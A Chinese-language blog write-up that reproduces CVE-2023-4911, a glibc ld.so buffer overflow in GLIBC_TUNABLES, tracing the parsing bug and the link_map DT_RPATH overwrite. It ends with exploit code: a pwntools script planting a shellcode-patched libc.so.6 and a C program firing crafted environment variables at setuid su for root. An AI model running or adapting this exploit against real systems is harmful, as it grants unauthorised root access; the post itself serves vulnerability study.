「PWN」CVE-2023-4911 复现

November 1, 2023 · 28 min read

Muel - Nova

Anime Would PWN This WORLD into 2D

最近接触到了这个洞，感觉利用面还是挺广的，虽然国内绝大多数机子似乎 libc 版本都挺低的（），总而言之先调调看看吧。

环境搭建

测试环境

OS: Ubuntu 22.04.1 LTS on Windows 10 x86_64

Kernel: 5.15.123.1-microsoft-standard-WSL2

Glibc: 2.35-0ubuntu3.3

测试效果

leesh3288/CVE-2023-4911

漏洞点

在执行 set-user-ID 和 set-group-ID 程序时，代码会以特权模式执行。在 commit 2ed18c("Fix SXID_ERASE behavior in setuid programs (BZ #27471)") (glibc2.34) 中引入了一个处理 GLIBC_TUNABLES 环境变量时的缓存区溢出漏洞。

我们可以观察一下 glibc 的源码

------------------------------------------------------------------------
void
__tunables_init (char **envp)
{
 char *envname = NULL;
 char *envval = NULL;
 size_t len = 0;
 char **prev_envp = envp;
...
 while ((envp = get_next_env (envp, &envname, &len, &envval,
                              &prev_envp)) != NULL)
   {
     if (tunable_is_name ("GLIBC_TUNABLES", envname))
       {
         char *new_env = tunables_strdup (envname);
         if (new_env != NULL)
           parse_tunables (new_env + len + 1, envval);
         /* Put in the updated envval.  */
         *prev_envp = new_env;
         continue;
       }
------------------------------------------------------------------------

在 __tunables_init() 函数定义这里，我们可以观察到它首先对 envname 进行了判断(#282)，判断条件是 orig == envname，且后一位 envname == '=' && orig == '\0'。

static __always_inline bool
tunable_is_name (const char *orig, const char *envname)
{
  for (;*orig != '\0' && *envname != '\0'; envname++, orig++)
    if (*orig != *envname)
      break;

  /* The ENVNAME is immediately followed by a value.  */
  if (*orig == '\0' && *envname == '=')
    return true;
  else
    return false;
}

此后，它会对找到的 envname 进行 tunables_strdup 深拷贝(#284)

static char *
tunables_strdup (const char *in)
{
  size_t i = 0;

  while (in[i++] != '\0');
  char *out = __sbrk (i);

  /* For most of the tunables code, we ignore user errors.  However,
     this is a system error - and running out of memory at program
     startup should be reported, so we do.  */
  if (out == (void *)-1)
    _dl_fatal_printf ("sbrk() failure while processing tunables\n");

  i--;

  while (i-- > 0)
    out[i] = in[i];

  return out;
}

对副本进行拷贝后，它将原本的 GLIBC_TUNABLES 过滤后替换为副本（利用 parse_tunables()，其中第一个参数是环境变量副本的值对应的指针，第二个参数是原始的环境变量的值的指针）

在 parse_tunables() 中，它会移除所有 arg1 里的危险 tunables（ SXID_ERASE ），但会保留 SXID_IGNORE 和 NONE，关于这点我们后面再说。 GLIBC_TUNABLES 的格式为 GLIBC_TUNABLES=aaa=111:bbb=222，在前面都是对一些情况的判断，如没有赋值的情况等，但我们考虑一种情况：当我们的 GLIBC_TUNABLES=AAA=AAA=BBB 时，我们查看程序流：

// 第一次
static void
parse_tunables (char *tunestr, char *valstring)
{
  if (tunestr == NULL || *tunestr == '\0')
    return;

  char *p = tunestr;	// >> [A]AA=AAA=BBB
  size_t off = 0;

  while (true)
    {
      char *name = p;
      size_t len = 0;

      /* First, find where the name ends.  */
      while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
	len++;
	// >> len = 3
      /* If we reach the end of the string before getting a valid name-value
	 pair, bail out.  */
      if (p[len] == '\0')
	{
	  if (__libc_enable_secure)
	    tunestr[off] = '\0';
	  return;
	}

      /* We did not find a valid name-value pair before encountering the
	 colon.  */
      if (p[len]== ':')
	{
	  p += len + 1;
	  continue;
	}

      p += len + 1;		// >> AAA=[A]AA=BBB

      /* Take the value from the valstring since we need to NULL terminate it.  */
      char *value = &valstring[p - tunestr];	// >> AAA=[A]AA=BBB
      len = 0;

      while (p[len] != ':' && p[len] != '\0')
	len++;	// >> len=7
      
      /* Add the tunable if it exists.  */
      for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
	{
	  tunable_t *cur = &tunable_list[i];

	  if (tunable_is_name (cur->name, name))
	    {
	      /* If we are in a secure context (AT_SECURE) then ignore the
		 tunable unless it is explicitly marked as secure.  Tunable
		 values take precedence over their envvar aliases.  We write
		 the tunables that are not SXID_ERASE back to TUNESTR, thus
		 dropping all SXID_ERASE tunables and any invalid or
		 unrecognized tunables.  */
	      if (__libc_enable_secure)
		{
		  if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
		    {
		      if (off > 0)	// off = 0
			tunestr[off++] = ':';

		      const char *n = cur->name;

		      while (*n != '\0')
			tunestr[off++] = *n++;	// [AAA]=AAA=BBB

		      tunestr[off++] = '=';	// >> AAA[=]AAA=BBB

		      for (size_t j = 0; j < len; j++)
			tunestr[off++] = value[j];	// >> AAA=[AAA=BBB]
		    }

		  if (cur->security_level != TUNABLE_SECLEVEL_NONE)
		    break;	// >> 触发
		}

	      value[len] = '\0';
	      tunable_initialize (cur, value);
	      break;
	    }
	}

      if (p[len] != '\0')	// AAA=[A]AA=BBB(), 所以没进入
	p += len + 1;
    }
}

// 第二次
static void
parse_tunables (char *tunestr, char *valstring)
{
  if (tunestr == NULL || *tunestr == '\0')
    return;

  char *p = tunestr;
  size_t off = 0;

  while (true)
    {
      char *name = p;	// AAA=[A]AA=BBB
      size_t len = 0;

      /* First, find where the name ends.  */
      while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
	len++;
	// >> len = 3
      /* If we reach the end of the string before getting a valid name-value
	 pair, bail out.  */
      if (p[len] == '\0')
	{
	  if (__libc_enable_secure)
	    tunestr[off] = '\0';
	  return;
	}

      /* We did not find a valid name-value pair before encountering the
	 colon.  */
      if (p[len]== ':')
	{
	  p += len + 1;
	  continue;
	}

      p += len + 1;		// AAA=AAA=[B]BB

      /* Take the value from the valstring since we need to NULL terminate it.  */
      char *value = &valstring[p - tunestr];	// AAA=AAA=[B]BB
      len = 0;

      while (p[len] != ':' && p[len] != '\0')
	len++;	// >> len=3
      
      /* Add the tunable if it exists.  */
      for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
	{
	  tunable_t *cur = &tunable_list[i];

	  if (tunable_is_name (cur->name, name))
	    {
	      /* If we are in a secure context (AT_SECURE) then ignore the
		 tunable unless it is explicitly marked as secure.  Tunable
		 values take precedence over their envvar aliases.  We write
		 the tunables that are not SXID_ERASE back to TUNESTR, thus
		 dropping all SXID_ERASE tunables and any invalid or
		 unrecognized tunables.  */
	      if (__libc_enable_secure)
		{
		  if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
		    {
		      if (off > 0)
			tunestr[off++] = ':';	// >> AAA=AAA=BBB[:]

		      const char *n = cur->name;

		      while (*n != '\0')
			tunestr[off++] = *n++;	// >> AAA=AAA=BBB:[AAA]

		      tunestr[off++] = '=';	// >> AAA=AAA=BBB:AAA[=]

		      for (size_t j = 0; j < len; j++)
			tunestr[off++] = value[j];	// >> AAA=AAA=BBB:AAA=[BBB]
		    }

		  if (cur->security_level != TUNABLE_SECLEVEL_NONE)
		    break;	// >> 触发
		}

	      value[len] = '\0';
	      tunable_initialize (cur, value);
	      break;
	    }
	}

      if (p[len] != '\0')	// AAA=AAA=BBB[:]AAA=BBB，所以没进入
	p += len + 1;
    }
}

注意到此时我们已经溢出了 tunestr，但是还没完

// 第三次
static void
parse_tunables (char *tunestr, char *valstring)
{
  if (tunestr == NULL || *tunestr == '\0')
    return;

  char *p = tunestr;
  size_t off = 0;

  while (true)
    {
      char *name = p;	// AAA=AAA=BBB[:]AAA=BBB
      size_t len = 0;

      /* First, find where the name ends.  */
      while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
	len++;
	// >> len = 0
      /* If we reach the end of the string before getting a valid name-value
	 pair, bail out.  */
      if (p[len] == '\0')
	{
	  if (__libc_enable_secure)
	    tunestr[off] = '\0';
	  return;
	}

      /* We did not find a valid name-value pair before encountering the
	 colon.  */
      if (p[len]== ':')
	{
	  p += len + 1;
	  continue;
	}

// 第四次
static void
parse_tunables (char *tunestr, char *valstring)
{
  if (tunestr == NULL || *tunestr == '\0')
    return;

  char *p = tunestr;
  size_t off = 0;

  while (true)
    {
      char *name = p;	// AAA=AAA=BBB:[A]AA=BBB
      size_t len = 0;

      /* First, find where the name ends.  */
      while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
	len++;
	// >> len = 3
      /* If we reach the end of the string before getting a valid name-value
	 pair, bail out.  */
      if (p[len] == '\0')
	{
	  if (__libc_enable_secure)
	    tunestr[off] = '\0';
	  return;
	}

      /* We did not find a valid name-value pair before encountering the
	 colon.  */
      if (p[len]== ':')
	{
	  p += len + 1;
	  continue;
	}

      p += len + 1;		// AAA=AAA=BBB:AAA=[B]BB

      /* Take the value from the valstring since we need to NULL terminate it.  */
      char *value = &valstring[p - tunestr];	// AAA=AAA=BBB\0UNEX[P]ECTED_STRING\0
      len = 0;

      while (p[len] != ':' && p[len] != '\0')
	len++;	// >> len=3
      
      /* Add the tunable if it exists.  */
      for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
	{
	  tunable_t *cur = &tunable_list[i];

	  if (tunable_is_name (cur->name, name))
	    {
	      /* If we are in a secure context (AT_SECURE) then ignore the
		 tunable unless it is explicitly marked as secure.  Tunable
		 values take precedence over their envvar aliases.  We write
		 the tunables that are not SXID_ERASE back to TUNESTR, thus
		 dropping all SXID_ERASE tunables and any invalid or
		 unrecognized tunables.  */
	      if (__libc_enable_secure)
		{
		  if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
		    {
		      if (off > 0)
			tunestr[off++] = ':';	// >> AAA=AAA=BBB:AAA=BBB[:]

		      const char *n = cur->name;

		      while (*n != '\0')
			tunestr[off++] = *n++;	// >> AAA=AAA=BBB:AAA=BBB:[AAA]

		      tunestr[off++] = '=';	// >> AAA=AAA=BBB:AAA=BBB:AAA=

		      for (size_t j = 0; j < len; j++)
			tunestr[off++] = value[j];	// >> AAA=AAA=BBB:AAA=BBB:AAA=[PEC]
		    }

		  if (cur->security_level != TUNABLE_SECLEVEL_NONE)
		    break;	// >> 触发
		}

	      value[len] = '\0';
	      tunable_initialize (cur, value);
	      break;
	    }
	}

      if (p[len] != '\0')	// AAA=AAA=BBB:AAA=[B]BB{:}AAA=PEC，进入
	p += len + 1;	// AAA=AAA=BBB:AAA=BBB:[A]AA=PEC
    }
}

// 第五次
static void
parse_tunables (char *tunestr, char *valstring)
{
  if (tunestr == NULL || *tunestr == '\0')
    return;

  char *p = tunestr;
  size_t off = 0;

  while (true)
    {
      char *name = p;	// AAA=AAA=BBB:AAA=BBB:[A]AA=PEC
      size_t len = 0;

      /* First, find where the name ends.  */
      while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
	len++;
	// >> len = 3
      /* If we reach the end of the string before getting a valid name-value
	 pair, bail out.  */
      if (p[len] == '\0')
	{
	  if (__libc_enable_secure)
	    tunestr[off] = '\0';
	  return;
	}

      /* We did not find a valid name-value pair before encountering the
	 colon.  */
      if (p[len]== ':')
	{
	  p += len + 1;
	  continue;
	}

      p += len + 1;		// AAA=AAA=BBB:AAA=BBB:AAA=[P]EC

      /* Take the value from the valstring since we need to NULL terminate it.  */
      char *value = &valstring[p - tunestr];	// AAA=AAA=BBB\0UNEXPECTED_S[T]RING\0
      len = 0;

      while (p[len] != ':' && p[len] != '\0')
	len++;	// >> len=3
      
      /* Add the tunable if it exists.  */
      for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
	{
	  tunable_t *cur = &tunable_list[i];

	  if (tunable_is_name (cur->name, name))
	    {
	      /* If we are in a secure context (AT_SECURE) then ignore the
		 tunable unless it is explicitly marked as secure.  Tunable
		 values take precedence over their envvar aliases.  We write
		 the tunables that are not SXID_ERASE back to TUNESTR, thus
		 dropping all SXID_ERASE tunables and any invalid or
		 unrecognized tunables.  */
	      if (__libc_enable_secure)
		{
		  if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
		    {
		      if (off > 0)
			tunestr[off++] = ':';	// >> AAA=AAA=BBB:AAA=BBB:AAA=PEC[:]

		      const char *n = cur->name;

		      while (*n != '\0')
			tunestr[off++] = *n++;	// >> AAA=AAA=BBB:AAA=BBB:AAA=PEC:[AAA]

		      tunestr[off++] = '=';	// >> AAA=AAA=BBB:AAA=BBB:AAA=PEC:AAA[=]

		      for (size_t j = 0; j < len; j++)
			tunestr[off++] = value[j];	// >> AAA=AAA=BBB:AAA=BBB:AAA=PEC:AAA=TRI
		    }

		  if (cur->security_level != TUNABLE_SECLEVEL_NONE)
		    break;	// >> 触发
		}

	      value[len] = '\0';
	      tunable_initialize (cur, value);
	      break;
	    }
	}

      if (p[len] != '\0')	// AAA=AAA=BBB:AAA=BBB:[A]AA={P}EC:AAA=TRI，进入
	p += len + 1;	// AAA=AAA=BBB:AAA=BBB:AAA=[P]EC:AAA=TRI
    }
}

下一次由于 tunable_is_name (cur->name, name) 不再满足，退出。

我们可以进行简单的测试：

利用思路

既然我们已经找到了漏洞点，那么我们就要思考如何利用它了。首先来看 tunestr，它是由 tunables_strdup 分配的。在这里，根据 commit 33237fe，已经将 sbrk 更换为了 __minimal_malloc() 函数（因此 glibc2.34 实际上无法使用这个 exp），观察函数可以知道它只是一个 mmap 的包装实现而已。此时我们观察 vmmap，发现此时可写的地方很少，只有 ld.so 本身的可读可写段（第一页是 RELRO 段，在后面会被 mprotect 改写为只读；不过第二页可以用），但是我们观察 __minimal_malloc，可以知道它至少分配两页，因此我们的缓存区不可能分配在 ld.so 的第二页。

Insufficient space left; allocate another page plus one extra page to reduce number of mmap calls.

因此我们只能溢出到 __minimal_malloc 分配出的页上。注意到 __tunables_init 可以处理多个环境变量，因此我们可以考虑这样：构建两个 GLIBC_TUNABLES 环境变量，第一个不溢出（长度大到不能被 ld.so 的读写段装下，而是使用 mmap 分配），第二个溢出（也同样长到使用 mmap 分配，由于 mmap 是从高到低分配的，所以这个会在第一个的下方），使其覆盖第一个 GLIBC_TUNABLES。

这里看原文+调试的时候稍微有点没理解，因为观察到第二个确实在 ld 下方，但是溢出不到第一个，是因为其实 EXP 并没有使用这种方法。EXP 的第一个 GLIBC_TUNABLES 变量单纯用来填充满 ld.so 的读写段，而并非像这里提到的溢出。

然而这个思路是不可行的。如果覆盖第一个 GLIBC_TUNABLES，我们只有两个利用思路：

将其覆盖为 LD_PRELOAD 或者 LD_LIBRARY_PATH 使其指向我们的恶意 ld 路径。但这是不可行的，因为这些环境变量后面在 ld 初始化时会经由 process_envvars() 被清除。
将其覆盖为 SXID_ERASE 的 tunables 。根据漏洞点里提到的内容，它会清除属于 SXID_ERASE 的 tunables，而我们此时溢出时它已经被清理过了，因此写它是完全没有问题的。然而问题是在 Linux 下不存在这样一个 SUID-root 程序（既运行 setuid(0) 再 execve 其它程序，又在运行时保留之前的环境变量）（例如在 OpenBSD 上，/usr/bin/chpass 会首先 setuid(0) 然后执行 execve(/usr/sbin/pwd_mkdb)）

但是在 _dl_new_object() 中(~~真不知道他们是怎么找到的这个调用链的，fuzz?~~)，存在一个链表 link_map，它的内存其实是由 calloc 分配的，也就是我们的 __minimal_calloc，但是这个函数仅仅调用了 __minimal_malloc 而没有初始化为 0

根据 backtrace，在 _dl_sysdep_start+930 的位置调用了 __tunables_init，在 _dl_sysdep_start+1020->dl_main+2403 的地方调用了 _dl_new_object，中间实在是隔了十座大山。

/* We use this function occasionally since the real implementation may
   be optimized when it can assume the memory it returns already is
   set to NUL.  */
void *
__minimal_calloc (size_t nmemb, size_t size)
{
  /* New memory from the trivial malloc above is always already cleared.
     (We make sure that's true in the rare occasion it might not be,
     by clearing memory in free, below.)  */
  size_t bytes = nmemb * size;

#define HALF_SIZE_T (((size_t) 1) << (8 * sizeof (size_t) / 2))
  if (__builtin_expect ((nmemb | size) >= HALF_SIZE_T, 0)
      && size != 0 && bytes / size != nmemb)
    return NULL;

  return malloc (bytes);
}

这原本是合理的，因为根据 __minimal_malloc 的逻辑，它总是返回全 0 的内存块，但是当我们有了一个缓存区溢出后就不一样了。根据 exp 加上我们的测试，这个返回的内存块距离我们的第二个 GLIBC_TUNABLES 变量仅有 0xc40 的距离，这是完全够我们覆盖的。

原文里说 but we failed because of two assert()ion failures in setup_vdso(), which immediately abort() ld.so，但是我测试修改 l_next 和 l_prev 时并没有报 assert（我仅仅修改了第一个的 l_next 和 l_prev），且查看 _dl_new_object 的代码，返回的是新的链表头，也不应该有错误，所以我估计是溢出太多溢到了第二个 link_map，也就是 setup_vdso 所调用返回的 link_map，所以这里是否能直接修改有待挖掘，在本文中，我们继续按照原文思路。

既然我们可以修改 l_next 和 l_prev，那自然其它 link_map 的指针我们也能修改，其中最值得关注的就是 l_info，因为它是一个 Elf64_Dyn 结构体的指针数组。其中 l_info[DT_RPATH] 这个指针可以指定我们的运行时 ld 搜索目录。我们只要覆盖这个指针，控制它指向的位置和内容，就可以让 ld.so 强制信任我们自己的 libc.so.6 或者是 LD_PRELOAD 库。那么控制这个指针指向的位置是什么呢？思考我们可以控制的位置，除了这几个可写的段，就是环境变量所处的栈了。显然写在栈上会更方便一些。

根据 bprm_stack_limit()，可以知道我们使用 argv + envp 最多占用 6MB(8MB / 4 * 3) 的内存大小。而在 AMD64 的情况下，栈在虚拟地址空间中首先会从 2 << 47 处开始分配 STACK_TOP，然后进行 randomize_stack_top，如果在 ASLR 开启的情况下，就会进行偏移。这个偏移范围是 0x3fffff * PAGE_SIZE，也就是 16GB 的范围，具体可以从arch/x86/include/asm/elf.h 找到 STACK_RND_MASK 的值。

unsigned long randomize_stack_top(unsigned long stack_top)
{
	unsigned long random_variable = 0;

	if (current->flags & PF_RANDOMIZE) {
		random_variable = get_random_long();
		random_variable &= STACK_RND_MASK;
		random_variable <<= PAGE_SHIFT;
	}
#ifdef CONFIG_STACK_GROWSUP
	return PAGE_ALIGN(stack_top) + random_variable;
#else
	return PAGE_ALIGN(stack_top) - random_variable;
#endif
}

因此，如果我们将 l_info[DT_RPATH] 指向的地址改为栈区域的中心再减掉我们 envp 的偏移（其实也不用，毕竟范围挺大了），也就是大概 0x7ffdfffff030 的位置，那么我们就有 $6MB/16GB\approx \frac12730$ 的概率击中我们的输入。现在的问题就是我们要输入什么？

让我们来看 l_info[DT_RPATH]，这是一个 Elf64_Dyn 指针，存在时，它将会运行 decompose_rpath 来信任目录（相对目录）。值得注意的是，这里它的计算是采用 (D_PTR (l, l_info[DT_STRTAB]) + l->l_info[DT_RPATH]->d_un.d_val 来操作的。对于这个宏，因为 amd64 已经进行了 ld 重定位，因此我们可以直接计算。它其实指向的是 l_info[DT_STRTAB]->d_un.d_ptr + l_info[DT_RPATH]->d_un.d_val 的位置。

      if (l->l_info[DT_RPATH])
	{
	  /* Allocate room for the search path and fill in information
	     from RPATH.  */
	  decompose_rpath (&l->l_rpath_dirs,
			   (const void *) (D_PTR (l, l_info[DT_STRTAB])
					   + l->l_info[DT_RPATH]->d_un.d_val),
			   l, "RPATH");
	  /* During rtld init the memory is allocated by the stub
	     malloc, prevent any attempt to free it by the normal
	     malloc.  */
	  l->l_rpath_dirs.malloced = 0;
	}

#define D_PTR(map, i) \
  ((map)->i->d_un.d_ptr + (dl_relocate_ld (map) ? 0 : (map)->l_addr))

那么这个内存中有什么呢？给出如下内存布局。可以看到分别对应 d_tag 和 d_ptr/d_val。$9 也就是 l_info[DT_STRTAB]，0xcff0 也就是 l_info[DT_STRTAB]->d_un.d_ptr 的位置。我们观察它的前后，就能在 -0x14 的位置发现一个单独的 "，这显然很适合作为我们的目录。我们只需要使得 l_info[DT_RPATH]->d_un.d_val 的位置填入 0xffffffffffec 即可指向我们的 " 目录。

但是此时我们还有最后一个问题：我们要溢出到 l_info[RT_PATH]，但不能修改 l_prev 和 l_next（如果可能，我们希望其它也是 NULL 来规避一些其它的检查）此时回到 parse_tunables 函数，我们可以发现它拷贝是使用的栈上的数据，因此拷贝 NULL 字节显然是可行的。

// 第四次
static void
parse_tunables (char *tunestr, char *valstring)
{
  if (tunestr == NULL || *tunestr == '\0')
    return;

  char *p = tunestr;
  size_t off = 0;

  while (true)
    {
      char *name = p;	// AAA=AAA=BBB:[A]AA=BBB
      size_t len = 0;

      /* First, find where the name ends.  */
      while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
	len++;
	// >> len = 3
      /* If we reach the end of the string before getting a valid name-value
	 pair, bail out.  */
      if (p[len] == '\0')
	{
	  if (__libc_enable_secure)
	    tunestr[off] = '\0';
	  return;
	}

      /* We did not find a valid name-value pair before encountering the
	 colon.  */
      if (p[len]== ':')
	{
	  p += len + 1;
	  continue;
	}

      p += len + 1;		// AAA=AAA=BBB:AAA=[B]BB

      /* Take the value from the valstring since we need to NULL terminate it.  */
      char *value = &valstring[p - tunestr];	// AAA=AAA=BBB\0\0\0\0\0[\0]\0\0
      len = 0;

      while (p[len] != ':' && p[len] != '\0')
	len++;	// >> len=3
      
      /* Add the tunable if it exists.  */
      for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
	{
	  tunable_t *cur = &tunable_list[i];

	  if (tunable_is_name (cur->name, name))
	    {
	      /* If we are in a secure context (AT_SECURE) then ignore the
		 tunable unless it is explicitly marked as secure.  Tunable
		 values take precedence over their envvar aliases.  We write
		 the tunables that are not SXID_ERASE back to TUNESTR, thus
		 dropping all SXID_ERASE tunables and any invalid or
		 unrecognized tunables.  */
	      if (__libc_enable_secure)
		{
		  if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
		    {
		      if (off > 0)
			tunestr[off++] = ':';	// >> AAA=AAA=BBB:AAA=BBB[:]

		      const char *n = cur->name;

		      while (*n != '\0')
			tunestr[off++] = *n++;	// >> AAA=AAA=BBB:AAA=BBB:[AAA]

		      tunestr[off++] = '=';	// >> AAA=AAA=BBB:AAA=BBB:AAA=

		      for (size_t j = 0; j < len; j++)
			tunestr[off++] = value[j];	// >> AAA=AAA=BBB:AAA=BBB:AAA=[\0\0\0]
		    }

		  if (cur->security_level != TUNABLE_SECLEVEL_NONE)
		    break;	// >> 触发
		}

	      value[len] = '\0';
	      tunable_initialize (cur, value);
	      break;
	    }
	}

      if (p[len] != '\0')	// AAA=AAA=BBB:AAA=[B]BB{:}AAA=PEC，进入
	p += len + 1;	// AAA=AAA=BBB:AAA=BBB:[A]AA=\0\0\0
    }
}

// 第五次
static void
parse_tunables (char *tunestr, char *valstring)
{
  if (tunestr == NULL || *tunestr == '\0')
    return;

  char *p = tunestr;
  size_t off = 0;

  while (true)
    {
      char *name = p;	// AAA=AAA=BBB:AAA=BBB:[A]AA=\0\0\0
      size_t len = 0;

      /* First, find where the name ends.  */
      while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
	len++;
	// >> len = 3
      /* If we reach the end of the string before getting a valid name-value
	 pair, bail out.  */
      if (p[len] == '\0')
	{
	  if (__libc_enable_secure)
	    tunestr[off] = '\0';
	  return;
	}

      /* We did not find a valid name-value pair before encountering the
	 colon.  */
      if (p[len]== ':')
	{
	  p += len + 1;
	  continue;
	}

      p += len + 1;		// AAA=AAA=BBB:AAA=BBB:AAA=[\0]\0\0

      /* Take the value from the valstring since we need to NULL terminate it.  */
      char *value = &valstring[p - tunestr];	// AAA=AAA=BBB\0\0\0\0\0\0\0\0\0\0\0\0\0[\0]\0\0
      len = 0;

      while (p[len] != ':' && p[len] != '\0')
	len++;	// >> len=0
      
      /* Add the tunable if it exists.  */
      for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
	{
	  tunable_t *cur = &tunable_list[i];

	  if (tunable_is_name (cur->name, name))
	    {
	      /* If we are in a secure context (AT_SECURE) then ignore the
		 tunable unless it is explicitly marked as secure.  Tunable
		 values take precedence over their envvar aliases.  We write
		 the tunables that are not SXID_ERASE back to TUNESTR, thus
		 dropping all SXID_ERASE tunables and any invalid or
		 unrecognized tunables.  */
	      if (__libc_enable_secure)
		{
		  if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
		    {
		      if (off > 0)
			tunestr[off++] = ':';	// AAA=AAA=BBB:AAA=BBB:AAA=\0\0\0[:]

		      const char *n = cur->name;

		      while (*n != '\0')
			tunestr[off++] = *n++;	// AAA=AAA=BBB:AAA=BBB:AAA=\0\0\0:[AAA]

		      tunestr[off++] = '=';	// AAA=AAA=BBB:AAA=BBB:AAA=\0\0\0:AAA=

		      for (size_t j = 0; j < len; j++)
			tunestr[off++] = value[j];	// AAA=AAA=BBB:AAA=BBB:AAA=\0\0\0:AAA=
		    }

		  if (cur->security_level != TUNABLE_SECLEVEL_NONE)
		    break;	// >> 触发
		}

	      value[len] = '\0';
	      tunable_initialize (cur, value);
	      break;
	    }
	}

      if (p[len] != '\0')	// AAA=AAA=BBB:AAA=BBB:AAA=[\0]\0\0:AAA=
	p += len + 1;
    }
}
// 下一次退出

因此，我们攻击链已经很明显了：构建一个恶意的 libc.so.6 放在 " 目录下，然后溢出 l_info[RT_PATH] 指向栈上，栈上存上大量的 0xffffffffffcb，只要命中，就会信任我们的恶意 libc.so.6，从而拿到 root。

exp

接下来就是攻击脚本编写了。首先我们构建恶意的 libc.so.6。通过将 __libc_start_main 改写为 shellcode(setuid(0) + setgid(0) + sh()) 即可做到。

from pwn import *

context(arch='amd64', os='linux')

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

d = bytearray(open(libc.path, 'rb').read())
idx = d.find(libc.read(libc.symbols['__libc_start_main'], 0x10))

sc = asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh())

d[idx:idx+len(sc)] = sc

mkdir_p('"')
open('"/libc.so.6', 'wb').write(d)

我们首先要填满 ld.so 的读写段，让我们后面的攻击在另一个新开的段上，在这里，使用 0x1000 左右大小的即可。

此时，我们需要知道 l_info[RT_PATH] 的偏移。由于 __minimal_malloc 将会立即在我们的第二个 GLIBC_TUNABLES 后面开辟内存，所以任何溢出都会导致它 l_prev 之类的位置被改写，想要将它放到一个较为安全的位置，我们可以考虑再多加第三个 GLICB_TUNABLES 作为分割。

首先我们计算第一次溢出了多少字节：:<NAME>=*2 + <VALUE>，然后来到环境变量之后的 :<NAME>= 的偏移处，继续拷贝并溢出 len(<VALUE>) 个字节，后面的我们不再考虑。在我们这里，我们的 :<NAME>= 为 21 字节。经过计算，拷贝的第一个字节在 0x5f1 处，对应 envp[2+0x14]，而 l_info[RT_PATH] 在 0x6d8 处，对应 envp[2+0x14+(0x6d8-0x5f1)]=envp[0xfd]。我们测试一下

可以看到确实成功了。此时我们就可以修改它指向栈上了。在这里，我们填充 5MB 的 -0x14。

可以看到，此时参数已经全部准备完毕。

成功加载恶意 libc

最终 exp，需要断在 dl-object.c:92 处手动设置 l_info[RT_PATH] 为栈上的地址，否则得要写一个循环爆破，懒得写了。

// gcc -DNO_ASLR exp.c -g -o exp
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

int main() {
    char *envp[0x1000] = {NULL};
    char *argv[] = {"/usr/bin/su", "--help", NULL};

    // 初始化 envp
    for (int i = 0; i < 0xfff; i++) {
        envp[i] = "";
    }

    // 填满 ld.so 读写段
    char p[0xd00];
    strcpy(p, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
    for (int i = strlen(p); i < sizeof(p) - 1; i++) {
        p[i] = 'A';
    }
    p[sizeof(p) - 1] = '\0';
    envp[0] = p;

    // overflow
    char overflow[0x300];
    strcpy(overflow, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast="); // 55
        for (int i = strlen(overflow); i < sizeof(overflow) - 1; i++) {
        overflow[i] = 'B';
    }
    overflow[sizeof(overflow) - 1] = '\0';
    envp[1] = overflow;


    // 分割块
    char p2[0x300];
    strcpy(p2, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
    for (int i = strlen(p2); i < sizeof(p2) - 1; i++) {
        p2[i] = 'C';
    }
    p2[sizeof(p2) - 1] = '\0';
    envp[0x500] = p2;

    // 栈
    char dt_rpath[0x10000]; // 1MB
    for( int i = 0; i<sizeof(dt_rpath); i+=8) {
        *(unsigned long long *)&dt_rpath[i] = -0x14;
    }
    for (int i = 0xff0; i < 0xff6; i++) {
        envp[i] = dt_rpath;
    }
    envp[0xff6] = "AAAAA";  // alignment
    envp[0xfd] = "MuElnova";

    
    execve(argv[0], argv, envp);
}

修复

通过检测输入是否完成（ p[len] == '\0'）来修复。

备注

如何构建不同版本的 GLIBC？

在 PoC 发布时，GNU 已经发布了 GLIBC 2.35-0ubuntu3.4，且删除了在软件源中的 GLIBC 2.35-0ubuntu3.3，因此我们必须降级安装。

2.35-0ubuntu3.3 : glibc package : Ubuntu (launchpad.net)，不同的版本搜索就行了。

# 需要同时安装 amd64/i386 的 tarball
# https://launchpad.net/ubuntu/jammy/i386/libc6/2.35-0ubuntu3.3
# https://launchpad.net/ubuntu/jammy/amd64/libc6/2.35-0ubuntu3.3
# Downloadable files

dpkg -i libc6_2.35*.deb

参考资料

oss-sec: CVE-2023-4911: Local Privilege Escalation in the glibc's ld.so (seclists.org)

Tunables (The GNU C Library)

Linux进程栈空间大小 - Tiehichi's Blog

Linux ASLR的实现 - 简单地快乐 - 博客园 (cnblogs.com)

环境搭建​

测试环境​

测试效果​

漏洞点​

利用思路​

exp​

修复​

备注​

如何构建不同版本的 GLIBC？​

参考资料​